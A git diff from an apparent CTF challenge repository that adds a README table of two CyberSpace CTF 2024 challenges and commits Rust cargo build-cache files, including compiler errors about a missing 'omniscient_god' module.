diff --git a/README.md b/README.md index d4c28631..c98c74fc 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,8 @@ -> [!IMPORTANT] -> This list is incomplete and I will add more writeups in the future \ No newline at end of file +# My CTF Challenges + +## CyberSpace CTF 2024 + +| Name | Category | Solves | +| ----------------------------------------------------------- | --------- | -------- | +| [buncom](<./cyberspace24/buncom/>) | Web, Misc | 3 / 830 | +| [quantum](<./cyberspace24/quantum/>) | PPC | 6 / 830 | \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/.rustc_info.json b/amateurs2024/algo/omniscient-larry/target/.rustc_info.json new file mode 100644 index 00000000..89cb7eec --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/.rustc_info.json @@ -0,0 +1 @@ +{"rustc_fingerprint":2649036646930368577,"outputs":{"15729799797837862367":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_abi=\"\"\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.78.0 (9b00956e5 2024-04-29) (Arch Linux rust 1:1.78.0-1)\nbinary: rustc\ncommit-hash: 9b00956e56009bab2aa15d7bff10916599e3d6d6\ncommit-date: 2024-04-29\nhost: x86_64-unknown-linux-gnu\nrelease: 1.78.0\nLLVM version: 17.0.6\n","stderr":""}},"successes":{}} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/CACHEDIR.TAG b/amateurs2024/algo/omniscient-larry/target/CACHEDIR.TAG new file mode 100644 index 00000000..20d7c319 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/CACHEDIR.TAG @@ -0,0 +1,3 @@ +Signature: 8a477f597d28d172789f06886806bc55 +# This file is a cache directory tag created by cargo. +# For information about cache directory tags see https://bford.info/cachedir/ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.cargo-lock b/amateurs2024/algo/omniscient-larry/target/debug/.cargo-lock new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/dep-lib-cfg-if b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/dep-lib-cfg-if new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/dep-lib-cfg-if differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/lib-cfg-if b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/lib-cfg-if new file mode 100644 index 00000000..fd67f25d --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/lib-cfg-if @@ -0,0 +1 @@ +77925866e3b6bd3d \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/lib-cfg-if.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/lib-cfg-if.json new file mode 100644 index 00000000..9b89ffd3 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/cfg-if-eec010fb472fdca6/lib-cfg-if.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":10623512480563079566,"profile":10243973527296709326,"path":15983173160403981899,"deps":[],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/cfg-if-eec010fb472fdca6/dep-lib-cfg-if"}}],"rustflags":[],"metadata":8462187951337715540,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/dep-lib-getrandom b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/dep-lib-getrandom new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/dep-lib-getrandom differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/lib-getrandom b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/lib-getrandom new file mode 100644 index 00000000..79623c49 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/lib-getrandom @@ -0,0 +1 @@ +e51647f093e8b142 \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/lib-getrandom.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/lib-getrandom.json new file mode 100644 index 00000000..975a2da5 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/getrandom-0d7503264e2fee6a/lib-getrandom.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"std\"]","declared_features":"","target":16789414514566550411,"profile":10243973527296709326,"path":9879487621549945099,"deps":[[2452538001284770427,"cfg_if",false,4448913094702830199],[11943424025318460506,"libc",false,4617346310724056517]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/getrandom-0d7503264e2fee6a/dep-lib-getrandom"}}],"rustflags":[],"metadata":12606519392706294666,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/dep-lib-libc b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/dep-lib-libc new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/dep-lib-libc differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/lib-libc b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/lib-libc new file mode 100644 index 00000000..e5ed233c --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/lib-libc @@ -0,0 +1 @@ +c5f5aa7f011c1440 \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/lib-libc.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/lib-libc.json new file mode 100644 index 00000000..e399a08d --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-33740f5b1d45b05d/lib-libc.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":1307715644349195660,"profile":10243973527296709326,"path":14854118126545692929,"deps":[[11943424025318460506,"build_script_build",false,4949976036765193356]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/libc-33740f5b1d45b05d/dep-lib-libc"}}],"rustflags":[],"metadata":14998826085014762512,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/build-script-build-script-build b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/build-script-build-script-build new file mode 100644 index 00000000..9db31046 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/build-script-build-script-build @@ -0,0 +1 @@ +0b5090a6b9e7a722 \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/build-script-build-script-build.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/build-script-build-script-build.json new file mode 100644 index 00000000..5889cc2f --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/build-script-build-script-build.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":8188216131759486267,"profile":13232757476167777671,"path":16838092505551184799,"deps":[],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/libc-5a66e0ec468c01fc/dep-build-script-build-script-build"}}],"rustflags":[],"metadata":14998826085014762512,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/dep-build-script-build-script-build b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/dep-build-script-build-script-build new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/dep-build-script-build-script-build differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-5a66e0ec468c01fc/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-7285af9313130a67/run-build-script-build-script-build b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-7285af9313130a67/run-build-script-build-script-build new file mode 100644 index 00000000..99c2d271 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-7285af9313130a67/run-build-script-build-script-build @@ -0,0 +1 @@ +8cd415b6fad8b144 \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-7285af9313130a67/run-build-script-build-script-build.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-7285af9313130a67/run-build-script-build-script-build.json new file mode 100644 index 00000000..0e02ea7b --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/libc-7285af9313130a67/run-build-script-build-script-build.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"","declared_features":"","target":0,"profile":0,"path":0,"deps":[[11943424025318460506,"build_script_build",false,2497219302949670923]],"local":[{"RerunIfChanged":{"output":"debug/build/libc-7285af9313130a67/output","paths":["build.rs"]}}],"rustflags":[],"metadata":0,"config":0,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/test-bin-omniscient-larry b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/test-bin-omniscient-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/test-bin-omniscient-larry.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/test-bin-omniscient-larry.json new file mode 100644 index 00000000..1f648941 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-4f399afccb6546d1/test-bin-omniscient-larry.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":4224412900453513317,"profile":11983525691607113661,"path":1684066648322511884,"deps":[[5910892534286594076,"rand",false,15568203654576713826],[8090238762093580911,"omniscient_larry",false,816143219326226141]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/omniscient-larry-4f399afccb6546d1/dep-test-bin-omniscient-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/lib-omniscient-larry b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/lib-omniscient-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/lib-omniscient-larry.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/lib-omniscient-larry.json new file mode 100644 index 00000000..5ed08bea --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/lib-omniscient-larry.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":11495017912646735805,"profile":5601947868832436996,"path":17523903030608720598,"deps":[[5910892534286594076,"rand",false,15568203654576713826]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/omniscient-larry-5a017c9a41515c14/dep-lib-omniscient-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/output-lib-omniscient-larry b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/output-lib-omniscient-larry new file mode 100644 index 00000000..55427273 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-5a017c9a41515c14/output-lib-omniscient-larry @@ -0,0 +1,3 @@ +{"$message_type":"diagnostic","message":"file not found for module `omniscient_god`","code":{"code":"E0583","explanation":"A file wasn't found for an out-of-line module.\n\nErroneous code example:\n\n```compile_fail,E0583\nmod file_that_doesnt_exist; // error: file not found for module\n\nfn main() {}\n```\n\nPlease be sure that a file corresponding to the module exists. If you\nwant to use a module named `file_that_doesnt_exist`, you need to have a file\nnamed `file_that_doesnt_exist.rs` or `file_that_doesnt_exist/mod.rs` in the\nsame directory.\n"},"level":"error","spans":[{"file_name":"src/lib.rs","byte_start":51,"byte_end":74,"line_start":4,"line_end":4,"column_start":1,"column_end":24,"is_primary":true,"text":[{"text":"pub mod omniscient_god;","highlight_start":1,"highlight_end":24}],"label":null,"suggested_replacement":null,"suggestion_applicability":null,"expansion":null}],"children":[{"message":"to create the module `omniscient_god`, create file \"src/omniscient_god.rs\" or \"src/omniscient_god/mod.rs\"","code":null,"level":"help","spans":[],"children":[],"rendered":null},{"message":"if there is a `mod omniscient_god` elsewhere in the crate already, import it with `use crate::...` instead","code":null,"level":"note","spans":[],"children":[],"rendered":null}],"rendered":"\u001b[0m\u001b[1m\u001b[38;5;9merror[E0583]\u001b[0m\u001b[0m\u001b[1m: file not found for module `omniscient_god`\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m--> \u001b[0m\u001b[0msrc/lib.rs:4:1\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;12m4\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\u001b[0m \u001b[0m\u001b[0mpub mod omniscient_god;\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m| \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;9m^^^^^^^^^^^^^^^^^^^^^^^\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m= \u001b[0m\u001b[0m\u001b[1mhelp\u001b[0m\u001b[0m: to create the module `omniscient_god`, create file \"src/omniscient_god.rs\" or \"src/omniscient_god/mod.rs\"\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m= \u001b[0m\u001b[0m\u001b[1mnote\u001b[0m\u001b[0m: if there is a `mod omniscient_god` elsewhere in the crate already, import it with `use crate::...` instead\u001b[0m\n\n"} +{"$message_type":"diagnostic","message":"aborting due to 1 previous error","code":null,"level":"error","spans":[],"children":[],"rendered":"\u001b[0m\u001b[1m\u001b[38;5;9merror\u001b[0m\u001b[0m\u001b[1m: aborting due to 1 previous error\u001b[0m\n\n"} +{"$message_type":"diagnostic","message":"For more information about this error, try `rustc --explain E0583`.","code":null,"level":"failure-note","spans":[],"children":[],"rendered":"\u001b[0m\u001b[1mFor more information about this error, try `rustc --explain E0583`.\u001b[0m\n"} diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/output-test-lib-omniscient-larry b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/output-test-lib-omniscient-larry new file mode 100644 index 00000000..354ac28e --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/output-test-lib-omniscient-larry @@ -0,0 +1,5 @@ +{"$message_type":"diagnostic","message":"file not found for module `omniscient_god`","code":{"code":"E0583","explanation":"A file wasn't found for an out-of-line module.\n\nErroneous code example:\n\n```compile_fail,E0583\nmod file_that_doesnt_exist; // error: file not found for module\n\nfn main() {}\n```\n\nPlease be sure that a file corresponding to the module exists. If you\nwant to use a module named `file_that_doesnt_exist`, you need to have a file\nnamed `file_that_doesnt_exist.rs` or `file_that_doesnt_exist/mod.rs` in the\nsame directory.\n"},"level":"error","spans":[{"file_name":"src/lib.rs","byte_start":51,"byte_end":74,"line_start":4,"line_end":4,"column_start":1,"column_end":24,"is_primary":true,"text":[{"text":"pub mod omniscient_god;","highlight_start":1,"highlight_end":24}],"label":null,"suggested_replacement":null,"suggestion_applicability":null,"expansion":null}],"children":[{"message":"to create the module `omniscient_god`, create file \"src/omniscient_god.rs\" or \"src/omniscient_god/mod.rs\"","code":null,"level":"help","spans":[],"children":[],"rendered":null},{"message":"if there is a `mod omniscient_god` elsewhere in the crate already, import it with `use crate::...` instead","code":null,"level":"note","spans":[],"children":[],"rendered":null}],"rendered":"\u001b[0m\u001b[1m\u001b[38;5;9merror[E0583]\u001b[0m\u001b[0m\u001b[1m: file not found for module `omniscient_god`\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m--> \u001b[0m\u001b[0msrc/lib.rs:4:1\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;12m4\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\u001b[0m \u001b[0m\u001b[0mpub mod omniscient_god;\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m| \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;9m^^^^^^^^^^^^^^^^^^^^^^^\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m= \u001b[0m\u001b[0m\u001b[1mhelp\u001b[0m\u001b[0m: to create the module `omniscient_god`, create file \"src/omniscient_god.rs\" or \"src/omniscient_god/mod.rs\"\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m= \u001b[0m\u001b[0m\u001b[1mnote\u001b[0m\u001b[0m: if there is a `mod omniscient_god` elsewhere in the crate already, import it with `use crate::...` instead\u001b[0m\n\n"} +{"$message_type":"diagnostic","message":"cannot find function `solve` in module `omniscient_god`","code":{"code":"E0425","explanation":"An unresolved name was used.\n\nErroneous code examples:\n\n```compile_fail,E0425\nsomething_that_doesnt_exist::foo;\n// error: unresolved name `something_that_doesnt_exist::foo`\n\n// or:\n\ntrait Foo {\n fn bar() {\n Self; // error: unresolved name `Self`\n }\n}\n\n// or:\n\nlet x = unknown_variable; // error: unresolved name `unknown_variable`\n```\n\nPlease verify that the name wasn't misspelled and ensure that the\nidentifier being referred to is valid for the given situation. Example:\n\n```\nenum something_that_does_exist {\n Foo,\n}\n```\n\nOr:\n\n```\nmod something_that_does_exist {\n pub static foo : i32 = 0i32;\n}\n\nsomething_that_does_exist::foo; // ok!\n```\n\nOr:\n\n```\nlet unknown_variable = 12u32;\nlet x = unknown_variable; // ok!\n```\n\nIf the item is not defined in the current module, it must be imported using a\n`use` statement, like so:\n\n```\n# mod foo { pub fn bar() {} }\n# fn main() {\nuse foo::bar;\nbar();\n# }\n```\n\nIf the item you are importing is not defined in some super-module of the\ncurrent module, then it must also be declared as public (e.g., `pub fn`).\n"},"level":"error","spans":[{"file_name":"src/lib.rs","byte_start":2253,"byte_end":2258,"line_start":91,"line_end":91,"column_start":60,"column_end":65,"is_primary":true,"text":[{"text":" assert_eq!(my_code::solve(&s), omniscient_god::solve(&s));","highlight_start":60,"highlight_end":65}],"label":"not found in `omniscient_god`","suggested_replacement":null,"suggestion_applicability":null,"expansion":null}],"children":[{"message":"consider importing this function","code":null,"level":"help","spans":[{"file_name":"src/lib.rs","byte_start":1948,"byte_end":1948,"line_start":81,"line_end":81,"column_start":5,"column_end":5,"is_primary":true,"text":[{"text":" use super::*;","highlight_start":5,"highlight_end":5}],"label":null,"suggested_replacement":"use crate::my_code::solve;\n","suggestion_applicability":"MaybeIncorrect","expansion":null}],"children":[],"rendered":null},{"message":"if you import `solve`, refer to it directly","code":null,"level":"help","spans":[{"file_name":"src/lib.rs","byte_start":2237,"byte_end":2253,"line_start":91,"line_end":91,"column_start":44,"column_end":60,"is_primary":true,"text":[{"text":" assert_eq!(my_code::solve(&s), omniscient_god::solve(&s));","highlight_start":44,"highlight_end":60}],"label":null,"suggested_replacement":"","suggestion_applicability":"Unspecified","expansion":null}],"children":[],"rendered":null}],"rendered":"\u001b[0m\u001b[1m\u001b[38;5;9merror[E0425]\u001b[0m\u001b[0m\u001b[1m: cannot find function `solve` in module `omniscient_god`\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m--> \u001b[0m\u001b[0msrc/lib.rs:91:60\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;12m91\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\u001b[0m \u001b[0m\u001b[0m assert_eq!(my_code::solve(&s), omniscient_god::solve(&s));\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m| \u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;9m^^^^^\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;9mnot found in `omniscient_god`\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;14mhelp\u001b[0m\u001b[0m: consider importing this function\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;12m81\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[38;5;10m+ \u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[38;5;10muse crate::my_code::solve;\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;14mhelp\u001b[0m\u001b[0m: if you import `solve`, refer to it directly\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;12m91\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[38;5;9m- \u001b[0m\u001b[0m assert_eq!(my_code::solve(&s), \u001b[0m\u001b[0m\u001b[38;5;9momniscient_god::\u001b[0m\u001b[0msolve(&s));\u001b[0m\n\u001b[0m\u001b[1m\u001b[38;5;12m91\u001b[0m\u001b[0m \u001b[0m\u001b[0m\u001b[38;5;10m+ \u001b[0m\u001b[0m assert_eq!(my_code::solve(&s), solve(&s));\u001b[0m\n\u001b[0m \u001b[0m\u001b[0m\u001b[1m\u001b[38;5;12m|\u001b[0m\n\n"} +{"$message_type":"diagnostic","message":"aborting due to 2 previous errors","code":null,"level":"error","spans":[],"children":[],"rendered":"\u001b[0m\u001b[1m\u001b[38;5;9merror\u001b[0m\u001b[0m\u001b[1m: aborting due to 2 previous errors\u001b[0m\n\n"} +{"$message_type":"diagnostic","message":"Some errors have detailed explanations: E0425, E0583.","code":null,"level":"failure-note","spans":[],"children":[],"rendered":"\u001b[0m\u001b[1mSome errors have detailed explanations: E0425, E0583.\u001b[0m\n"} +{"$message_type":"diagnostic","message":"For more information about an error, try `rustc --explain E0425`.","code":null,"level":"failure-note","spans":[],"children":[],"rendered":"\u001b[0m\u001b[1mFor more information about an error, try `rustc --explain E0425`.\u001b[0m\n"} diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/test-lib-omniscient-larry b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/test-lib-omniscient-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/test-lib-omniscient-larry.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/test-lib-omniscient-larry.json new file mode 100644 index 00000000..bb204a27 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-ce4753d375672c97/test-lib-omniscient-larry.json @@ -0,0 +1 @@ 